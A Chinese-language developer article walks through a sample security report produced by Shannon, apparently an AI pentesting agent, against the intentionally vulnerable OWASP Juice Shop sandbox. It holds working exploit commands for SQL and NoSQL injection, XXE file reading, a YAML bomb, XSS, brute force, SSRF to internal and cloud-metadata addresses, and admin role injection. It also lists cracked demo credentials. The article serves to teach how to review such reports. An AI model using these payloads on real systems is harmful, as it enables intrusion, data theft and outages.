Shannon 渗透测试样例报告详解：以 OWASP Juice Shop 为例读懂“证据驱动“的安全评估报告-开发者社区

Shannon 渗透测试样例报告详解：以 OWASP Juice Shop 为例读懂"证据驱动"的安全评估报告

【免费下载链接】shannonShannon is an AI pentester for web applications and APIs. It analyzes your source code, identifies attack vectors, and executes real exploits to prove vulnerabilities before they reach production.项目地址: https://gitcode.com/GitHub_Trending/shan/shannon

仓库sample-reports/目录下存放了 Shannon 对三个故意存在漏洞的开源应用产出的真实样例报告，其中 Shannon 对 OWASP Juice Shop 的评估报告篇幅最长、覆盖面最全，涵盖 Injection、XSS、Authentication、SSRF、Authorization 五大类共 30 余项漏洞的完整利用证据。本文以这份样例报告为主体，逐类拆解其中每一条漏洞的复现命令、响应证据与影响结论，并结合 Shannon 仓库中的报告渲染源码与多智能体提示词，说明这份报告是如何被"确定性"地生产出来的，帮助你建立阅读、复核并复用此类 proof-by-exploitation（以利用证明漏洞）报告的方法。

样例报告的定位与基本元数据

Shannon 是 Keygraph 开发的自主 AI 渗透测试代理，它分析 Web 应用与 API 的源码、识别攻击路径，然后对运行中的应用执行真实利用，只把有可复现 PoC 的漏洞写进最终报告。README 中的样例报告表格明确给出了这份报告的背景：

目标	结论概要	报告
OWASP Juice Shop	20+ 漏洞，含认证绕过、SQL 注入、IDOR、SSRF	juice-shop 样例报告
c{api}tal API	约 15 个严重/高危 API 发现	capital-api 样例报告
OWASP crAPI	15+ 严重/高危发现，覆盖 JWT、注入、SSRF	crAPI 样例报告

样例报告本身以元数据开头，这是阅读任何 Shannon 报告时首先应核对的部分：

Target（目标）：Juice-Shop（报告中所有请求指向沙箱地址http://juice-shop.sandbox.local:3001）
Assessment Date（评估时间）：September 2025
Scope（范围）：Authentication、XSS、SQL and Command Injection、SSRF、Authorization testing

报告还保留了一个 "Network Reconnaissance"（网络侦察）小节，包含 Open Ports/Services、Security Misconfigurations、SSL/TLS Configuration 三个子项；样例出于考虑对这些明细做了[REDACTED]脱敏处理，但小节结构完整保留——这意味着一份完整报告里可以在此看到 Shannon 对目标环境的端口扫描与配置核查结果。

紧随其后的是Summary by Vulnerability Type（按漏洞类型汇总）。原报告用五段话概括了每类漏洞的严重性脉络，翻译归纳如下，可作为快速定位高危项的索引：

Authentication：含 SQL 注入认证绕过、无速率限制的暴力破解、MD5 密码破解、基于可预测密码的 nOAuth 攻击、重置流程账户枚举、令牌重放，可导致所有用户账户被完全接管。
Authorization：系统性越权——匿名用户读取全部用户记忆数据、注册时注入 admin 角色、跨用户 IDOR（资料/购物车/反馈）、deluxe 会员付费绕过与跨用户下单等业务逻辑绕过。
XSS：搜索参数反射型 XSS（绕过 Angular 安全机制）、JSONP callback XSS、以及被 CAPTCHA 拦截的后台/导出功能潜在存储型 XSS。
SQL/Command Injection：SQL 认证绕过、UNION 注入拖库、NoSQL 操作符注入批量改数据、XXE 文件读取、YAML 炸弹 DoS，以及受挑战关卡限制的 VM 沙箱逃逸 RCE 可能。
SSRF：资料头像 URL 上传端点的 SSRF，通过 HTTP 方法绕过可访问内部服务、云元数据端点，实现内网侦察与数据外泄。

报告的章节骨架与确定性渲染管线

样例报告正文由五个顶级章节组成，顺序固定为：

# Injection Exploitation Evidence
# Cross-Site Scripting (XSS) Exploitation Evidence
# Authentication Exploitation Evidence
# SSRF Exploitation Evidence
# Authorization Exploitation Evidence

每个章节内部都是## Successfully Exploited Vulnerabilities（成功利用）+ 若干### <FINDING-ID>: <标题>条目；无法完成利用的漏洞则归入## Confirmed Vulnerabilities Without Successful Exploits。每条漏洞条目采用统一的字段骨架：Summary（含 Vulnerable location / Overview / Impact / Severity）、Prerequisites、Exploitation Steps（带可复制命令）、Proof of Impact、Notes。

从源码结构看，这套骨架并非 LLM 每次自由发挥的产物。Shannon 的 worker 端有一个确定性的报告渲染器 report-renderer.ts，其文件头注释写明：它把结构化报告数据（由 finding-collector 工具与 set-report-meta CLI 产出）转换成"与之前 report agent 手写完全一致的 markdown 格式，且渲染过程中无 LLM 参与"（No LLM in the loop）。样例报告的章节结构正对应渲染器的两条关键逻辑：

固定分类顺序：渲染器中CATEGORY_ORDER常量硬编码为['Injection', 'XSS', 'Authentication', 'SSRF', 'Authorization']（report-renderer.ts#L191），与样例报告五个顶级章节的出现顺序完全一致；
章节标题由模式决定：开启利用时渲染# <类别> Exploitation Evidence+## Successfully Exploited Vulnerabilities，关闭利用时则渲染# <类别> Findings+## Identified Vulnerabilities并追加"未执行利用、影响为评估而非实证"的免责说明（ANALYSIS_ONLY_DISCLAIMER，report-renderer.ts#L40-L44）；
未评估类别显式标注：若某类别的流水线未完成，报告不会把它呈现为"干净"，而是渲染## Not Assessed小节，明确提示"无发现不等于无漏洞，请重跑评估"（report-renderer.ts#L54-L66）。样例报告是开启利用模式的产物，因此没有该小节；
执行摘要元数据：渲染器输出的 Executive Summary 包含 Target / Assessment Date / Scope（以及 Exploitation 开关与 Model），与样例报告头部的三行元数据一一对应（report-renderer.ts#L212-L224）。

这套设计的意义在于：读者拿到的章节顺序、字段命名、"成功利用/仅确认"的区分边界都是稳定可预期的，便于人工复核时按图索骥。

Injection：SQL 注入、NoSQL 注入、XXE 与 YAML 炸弹

注入是样例报告中证据最完整的类别。以下逐条列出报告收录的注入漏洞及其利用证据。

INJ-VULN-01：登录接口 SQL 注入认证绕过（Critical）

漏洞位置：POST /rest/user/login（email 字段）
机理：SQL 查询中直接字符串插值（原报告 Notes 指出位置在目标应用/routes/login.ts:34），email 字段可注入任意 SQL
影响：直接获得管理员令牌，完全系统沦陷

利用步骤（原报告给出的完整命令）：

curl -X POST http://juice-shop.sandbox.local:3001/rest/user/login \ -H "Content-Type: application/json" \ -d '{"email":"'\'' OR '\''1'\''='\''1'\'' --","password":"test"}'

服务端返回管理员 JWT：

{ "authentication": { "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...", "bid": 1, "umail": "admin@juice-sh.op" } }

Proof of Impact：绕过认证获得 user ID 1（admin@juice-sh.op、role admin）的管理员级访问令牌。

INJ-VULN-02：商品搜索 UNION 注入拖库（Critical）

漏洞位置：GET /rest/products/search（q参数）
影响：完整用户数据库（含密码哈希）外泄

两步利用：先以单引号触发 SQL 语法错误确认注入：

curl -s "http://juice-shop.sandbox.local:3001/rest/products/search?q=test'"

再用 UNION 注入拖取 Users 表（URL 编码后的完整 payload 中需要正确闭合 name 与 description 两个 LIKE 子句）：

curl -s "http://juice-shop.sandbox.local:3001/rest/products/search?q=xxx%25%27%29%20AND%20description%20LIKE%20%27%25xxx%25%27%29%20UNION%20SELECT%20id,email,password,role,0,0,0,0,0%20FROM%20Users%20LIMIT%205--"

Proof of Impact：成功提取用户数据库，包括管理员账户 admin@juice-sh.op（MD5 哈希0192023a7bbd73250516f069df18b500、role admin）以及 jim@juice-sh.op、bender@juice-sh.op、bjoern.kimminich@gmail.com、ciso@juice-sh.op 等账户的 MD5 哈希与角色。Notes 指出错误信息已确认后端为 SQLite。

INJ-VULN-04：NoSQL 操作符注入批量篡改（High）

漏洞位置：PATCH /rest/products/reviews（id字段）
前提：需要有效 JWT（可复用 INJ-VULN-01 的绕过令牌）

curl -X PATCH "http://juice-shop.sandbox.local:3001/rest/products/reviews" \ -H "Authorization: Bearer [ADMIN_TOKEN]" \ -H "Content-Type: application/json" \ -d '{"id":{"$ne":-1},"message":"HACKED - All reviews modified"}'

Proof of Impact：$ne（不等于）操作符绕过了单文档更新限制，一次性修改了 28 条用户评价。原报告归因于对象注入加上{ multi: true }配置。

INJ-VULN-06：XXE 文件读取（High）

漏洞位置：POST /file-upload（XML 文件内容）
前提：有效 JWT

构造外部实体 payload 并上传：

<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>

curl -X POST "http://juice-shop.sandbox.local:3001/file-upload" \ -H "Authorization: Bearer [TOKEN]" \ -F "file=@xxe_test.xml"

Proof of Impact：响应中带回/etc/passwd内容（root/nobody/nonroot 三行账户记录）。Notes 指出根因是libxml.parseXml()配置了noent: true，允许外部实体处理。

INJ-VULN-07：YAML 炸弹 DoS（Medium）

漏洞位置：POST /file-upload（YAML 文件内容）

a: &a ["x","x","x","x","x"] b: &b [*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b]

curl -X POST "http://juice-shop.sandbox.local:3001/file-upload" \ -H "Authorization: Bearer [TOKEN]" \ -F "file=@yaml_bomb.yml"

Proof of Impact：锚点/引用指数级展开导致内存耗尽，错误响应中可见嵌套数组按预期膨胀。根因是使用不安全的yaml.load()而非yaml.safeLoad()（js-yaml）。

从源码结构看，上述报告中的INJ-VULN-XX编号并非随意命名：Shannon 的注入分析阶段提示词 vuln-injection.txt 要求对每个注入源做 source-to-sink 全路径追踪，标注 sink 槽位类型（SQL-val、SQL-ident、CMD-argument等）、记录每一处净化函数及其 file:line，并仅把externally_exploitable = true的漏洞写入injection_exploitation_queue.json利用队列。利用阶段 exploit-injection.txt 则要求对队列中每个漏洞走到"数据已拖出 / 命令已执行"或"证明不可利用"的二元结论——样例报告里每条 Injection 条目"payload + 响应 + 影响"的三段式证据，正是这一流程的直接产物。

XSS：绕过框架信任边界与 JSONP 滥用

XSS-VULN-01：搜索参数反射型 XSS（Medium）

漏洞位置：http://juice-shop.sandbox.local:3001/#/search?q=[PAYLOAD]
机理：搜索参数经由 Angular 的bypassSecurityTrustHtml()直出，无净化
前提：无，公开可访问

利用即导航至：

http://juice-shop.sandbox.local:3001/#/search?q=<img src=x onerror=alert('XSS')>

Proof of Impact：弹出 alert("XSS") 对话框，证明 JS 在受害者浏览器中执行。报告指出该向量可替换为 cookie 外泄代码实现会话劫持。

XSS-VULN-02：JSONP callback XSS（Medium）

漏洞位置：/rest/user/whoami?callback=[PAYLOAD]
机理：JSONP callback 参数接受任意 JS 函数名，等价于跨域脚本执行

从任意页面上下文注入：

const script = document.createElement('script'); script.src = '/rest/user/whoami?callback=alert'; document.head.appendChild(script);

Proof of Impact：端点生成形如/**/ typeof alert === 'function' && alert({"user":{}});的响应，注入的回调函数被执行（alert 显示[object Object]）。报告提示可被用于跨域数据外泄。

Authentication：从 SQLi 绕过到令牌生命周期管理

样例报告的认证章节分两部分：六条成功利用，三条已确认但报告未给出完整利用链路的漏洞（HTTP 明文传输、无 HSTS、Cookie 缺少安全标志）。

成功利用

AUTH-VULN-06：SQL 注入认证绕过（Critical）。与 INJ-VULN-01 同源（POST /rest/user/login，查询结构为SELECT * FROM Users WHERE email = '${req.body.email}'）。报告以另一枚 payload 复现并在获得令牌后访问GET /api/Users验证管理员数据可取：

curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \ -H "Content-Type: application/json" \ -d '{"email":"admin@juice-sh.op'\'' OR 1=1-- ","password":"anything"}'

响应 HTTP 200 并携带完整管理员认证（JWT + bid=1 + admin@juice-sh.op），后续用该令牌拉取了全部用户邮箱、角色与 MD5 哈希。

AUTH-VULN-05：暴力破解（无速率限制/锁定）（High）。对admin@juice-sh.op以常见密码列表连续发起请求，第 4 次命中：

passwords = ["admin", "password", "123456", "admin123", ...] for password in passwords: response = requests.post(target_url, json={"email": "admin@juice-sh.op", "password": password})

命中凭据admin@juice-sh.op:admin123，平均每次请求 386ms，无任何延迟惩罚。

AUTH-VULN-07：MD5 弱哈希批量破解（High）。密码以无盐 MD5 存于 SQLite；配合 INJ-VULN-02 拖出的哈希做字典爆破，单密码比对耗时 <0.001 秒，命中结果：

admin@juice-sh.op→admin123
jim@juice-sh.op→ncc-1701
demo→demo
ethereum@juice-sh.op→private

AUTH-VULN-08：nOAuth 可预测密码攻击（Critical）。OAuth 用户的初始密码由确定性算法btoa(email.reverse())生成，攻击者可用任意目标邮箱离线算出密码。报告给出的还原算法与实例：

def generate_oauth_password(email): reversed_email = email[::-1] return base64.b64encode(reversed_email.encode()).decode() # email = "bjoern.kimminich@gmail.com" # => "bW9jLmxpYW1nQGhjaW5pbW1paz5ucmVvamI="

用生成的密码直接登录即获得该 OAuth 管理员账户的有效 JWT。

AUTH-VULN-09：安全问答端点账户枚举（Medium）。GET /rest/user/security-question?email=...对有效与无效邮箱返回不同响应（有效：134 字节的问题 JSON；无效：2 字节空对象{}），可自动化枚举。报告通过该差异发现 4 个有效账户（admin/jim/bender/demo）并拿到各自的安全问题。

AUTH-VULN-10：登出后令牌重放（High）。应用不存在服务端登出端点：POST /rest/user/logout返回 HTTP 500（Unexpected path），而登出前获得的 JWT 在"登出"后仍可访问GET /rest/basket/2、GET /api/Users/2等受保护资源——令牌在被窃取后可一直重放到过期。

已确认但无完整利用链路

AUTH-VULN-01：HTTP 明文传输凭据（Critical）——curl -I http://...确认无 HTTPS 跳转，登录请求以明文传输；
AUTH-VULN-02：无 HSTS 头（High）——curl -I ... | grep -i hsts无结果，允许协议降级；
AUTH-VULN-03：会话 Cookie 缺少 HttpOnly/Secure/SameSite（High）——-v输出中的 Set-Cookie 未见安全标志，XSS 可直接窃取。

SSRF：HTTP 方法绕过触发服务端请求

SSRF-VULN-01：头像 URL 上传端点的方法绕过（High）

这是样例报告中步骤最完整的 SSRF 条目，其价值在于展示了"防护只检查了部分 HTTP 方法"这一常见实现缺陷。

注册测试账户并登录取令牌：

curl -X POST http://juice-shop.sandbox.local:3001/api/Users \ -H "Content-Type: application/json" \ -d '{"email":"ssrf.test@example.com","password":"TestPassword123","passwordRepeat":"TestPassword123","securityQuestion":{"id":1,"question":"Your eldest siblings middle name?","createdAt":"2024-01-01","updatedAt":"2024-01-01"},"securityAnswer":"test"}'

curl -X POST http://juice-shop.sandbox.local:3001/rest/user/login \ -H "Content-Type: application/json" \ -d '{"email":"ssrf.test@example.com","password":"TestPassword123"}'

用 PUT 绕过 POST 专属的 SSRF 防护：

curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \ -H "Authorization: Bearer [JWT_TOKEN]" \ -H "Content-Type: application/json" \ -d '{"imageUrl":"http://localhost:3001/solve/challenges/server-side-request-forgery"}'

向内网资源发起服务端请求：

# 访问自身受保护端点 curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \ -H "Authorization: Bearer [JWT_TOKEN]" \ -H "Content-Type: application/json" \ -d '{"imageUrl":"http://127.0.0.1:3001/rest/admin/application-configuration"}' # 读取 JWT 公钥 curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \ -H "Authorization: Bearer [JWT_TOKEN]" \ -H "Content-Type: application/json" \ -d '{"imageUrl":"http://localhost:3001/encryptionkeys/jwt.pub"}' # 读取内部文件资源 curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \ -H "Authorization: Bearer [JWT_TOKEN]" \ -H "Content-Type: application/json" \ -d '{"imageUrl":"http://localhost:3001/ftp/incidents/suspicious_errors.yml"}'

Proof of Impact（报告记录的三项关键证据）：

方法绕过成立：同一 payload 走 POST 返回 302 重定向（被拦截），走 PUT 返回 200 且带回完整 HTML（80,117 字节）；
内网可达：服务端对 22/80/3000/3001/8080/9090 端口的 localhost 服务均可发起请求，成功取回/encryptionkeys/jwt.pub、/ftp/incidents/等受保护内容；
无目的地校验：不限制私网 IP 与协议 scheme，云元数据端点http://169.254.169.254/latest/meta-data/亦可触达，构成典型 SSRF 侦察与外泄通道。

Authorization：IDOR、角色注入与业务逻辑绕过

授权类是样例报告条目最多的类别（10 条），覆盖了水平越权（IDOR）、垂直越权（角色注入）与业务流程绕过三种形态。

AUTHZ-VULN-04：未认证访问全部用户"记忆"（Critical）。GET /rest/memories无需任何认证即返回全部用户的私有记忆，且嵌套的User对象泄露了邮箱、MD5 密码哈希、角色与 deluxeToken：

curl -s -i "http://juice-shop.sandbox.local:3001/rest/memories"

响应data数组含 10+ 条记录，例如 UserId 13（bjoern@owasp.org、role deluxe）同时暴露了password: "9283f1b2e9669749081963be0462e466"与 64 位 hex 的deluxeToken。

AUTHZ-VULN-06 / AUTHZ-VULN-10：注册接口角色注入（Critical）。两条编号指向同一利用面：POST /api/Users不校验role字段，匿名请求即可创建管理员：

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Users" \ -H "Content-Type: application/json" \ -d '{ "email": "pwned@evil.com", "password": "Password123!", "passwordRepeat": "Password123!", "role": "admin" }'

返回id: 65, role: "admin"，随后用新账户登录即拿到管理员 JWT。AUTHZ-VULN-10 进一步指出该端点同时绕过了本应存在的邮件验证、安全问题校验、管理员审批等注册流程校验。

AUTHZ-VULN-07：普通用户创建商品（High）。顾客令牌调用POST /api/Products成功创建 Product ID 47（"Hacked Product by Regular User"），说明商品管理接口缺少角色校验，可导致目录被污染。

AUTHZ-VULN-01：用户资料 IDOR（High）。任意认证用户可读取任意GET /api/Users/:id。报告演示了以顾客身份读取 User 4（admin，bjoern.kimminich@gmail.com）与 User 13（deluxe，含deluxeToken）的过程。

AUTHZ-VULN-02：购物车 IDOR（High）。GET /rest/basket/:id可读取他人购物车，含商品、数量与总额（报告示例篮价值约 $20.94）。

AUTHZ-VULN-03：反馈 IDOR（Medium）。GET /api/Feedbacks/:id可读取他人评价，评价文本还部分暴露用户邮箱（***in@juice-sh.op）。

AUTHZ-VULN-05：购物车条目篡改 IDOR（High）。PUT /api/BasketItems/1把他人篮内数量从 2 改为 5，响应updatedAt: "2025-09-22T19:17:21.994Z"确认写操作成功——跨用户写入类 IDOR 会直接造成交易纠纷。

AUTHZ-VULN-08：跨用户结算（High）。持顾客令牌对 User 2 的购物车执行POST /rest/basket/2/checkout，服务端返回订单确认号4b18-43fe98bb0ee5172c，完成了一笔"替别人下单"的交易。

AUTHZ-VULN-09：deluxe 会员付费绕过（High）。POST /rest/deluxe-membership不要求任何支付信息即返回升级成功，新 JWT 中角色从 customer 提升为 deluxe，构成未付费获取付费服务。

原报告在授权章节结尾总结：全部 10 条授权漏洞均完成利用并取得具体证据，目标应用呈现出横跨水平越权（IDOR）、垂直越权（角色注入）与上下文流程绕过的系统性授权失效。

从源码看报告的生产链路：为何每条发现都可复核

理解报告结构后，值得再回到 Shannon 的流水线，确认这些证据字段的来源。README 的架构图给出了全局：Pre-Reconnaissance（源码扫描）→ Reconnaissance（攻击面测绘）→ 五类并行的 Vuln 分析代理（Injection / XSS / SSRF / Authentication / Authorization）→ 对应的 Exploit 利用代理 → Reporting。每个阶段之间以.shannon/deliverables/下的交付物衔接，例如：

注入分析阶段产出injection_analysis_deliverable.md与injection_exploitation_queue.json（利用队列，含ID、sink_call、slot_type、witness_payload、confidence等字段，见 vuln-injection.txt）；
注入利用阶段以该队列为"to-do list"，读取 pre-recon/recon/analysis 三份情报文件构造精准 payload，产出injection_exploitation_evidence.md（见 exploit-injection.txt）；
各漏洞类别的证据随后被结构化收集（finding-collector），再由 report-renderer.ts 的renderReport()确定性地渲染为样例报告所展示的 Markdown 骨架；pipeline 中的 executive 报告步骤还会读取.shannon/deliverables/comprehensive_security_assessment_report.md并补上统一的# Security Assessment Report报告头（见 report-executive.txt）。

这条链路解释了样例报告的两个显著特征：其一，每条利用型发现都自带"最小 PoC + 原始响应 + 影响陈述"，因为利用代理的提示词把"证据是交付物"设为硬性要求（"An unproven vulnerability is worse than no finding at all"）；其二，报告标题中的章节顺序与字段命名跨次运行保持稳定，因为渲染逻辑在代码中而不是模型里。

如何复现同类评估，以及使用边界

要在自己的（或授权的）环境中产出与样例同构的报告，README 的 Quick Start 给出了最小流程——前提是 Docker、Node.js 18+ 与 AI 服务商凭据（Anthropic/OpenAI/xAI/AWS Bedrock，推荐 Claude 模型）：

# 交互式向导配置凭据 npx @keygraph/shannon setup # 对源码可得的目标启动渗透测试 npx @keygraph/shannon start -u https://your-app.com -r /path/to/your-repo

Shannon 会从 Docker Hub 拉取 worker 镜像、启动本地基础设施、以只读方式把目标仓库挂载进临时 worker 容器，并把结果写入本地 workspace；认证测试、登录流、engagement 规则等可在配置文件中描述（参见配置指南与开发/CLI 指南）。

同时必须遵守样例报告隐含的安全边界：这份报告针对的是故意存在漏洞的 OWASP Juice Shop 沙箱应用（juice-shop.sandbox.local:3001），所有命令（注册账户、改数据、跨用户下单、内网探测）都只在沙箱内合法。README 与安全指南明确要求：Shannon 会主动执行利用、可能创建用户并改变应用状态，只能指向你拥有或获得书面授权的环境，不要对生产系统运行；单次完整运行约需 1～1.5 小时且产生 LLM API 费用；LLM 生成的报告仍需人工复核，个别细节可能支撑不足或出错；项目以 AGPL-3.0 协议开源（见 LICENSE）。

如何快速复核一份 Shannon 报告（实战清单）：

先读 Executive Summary，确认 Target/Date/Scope 与本次委托范围一致；
按 Summary by Vulnerability Type 定位最高危类别，再进入对应# <类别> Exploitation Evidence章节；
对每条 Critical/High 条目，在隔离环境中按 Exploitation Steps 逐条复跑 curl 命令，比对 Proof of Impact 中的响应特征（哈希值、确认号、响应长度）；
注意区分Successfully Exploited与Confirmed Without Successful Exploits两档——前者有完整 PoC，后者仅有确认性证据，定级时权重要打折；
若报告含Not Assessed小节，说明对应类别本次未评完，不能据此判断该类别干净，需要重跑。

综上，这份 Juice Shop 样例报告不仅是 Shannon 能力的展示件，更是一份可直接对照的"报告体例范本"：五类固定章节、统一的字段骨架、利用与确认的二分法、以及由确定性渲染器保障的可复核结构。掌握这份范本后，你就能把 Shannon 的输出当作渗透测试交付物来验收，而不仅仅当作 AI 的生成文本。

创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考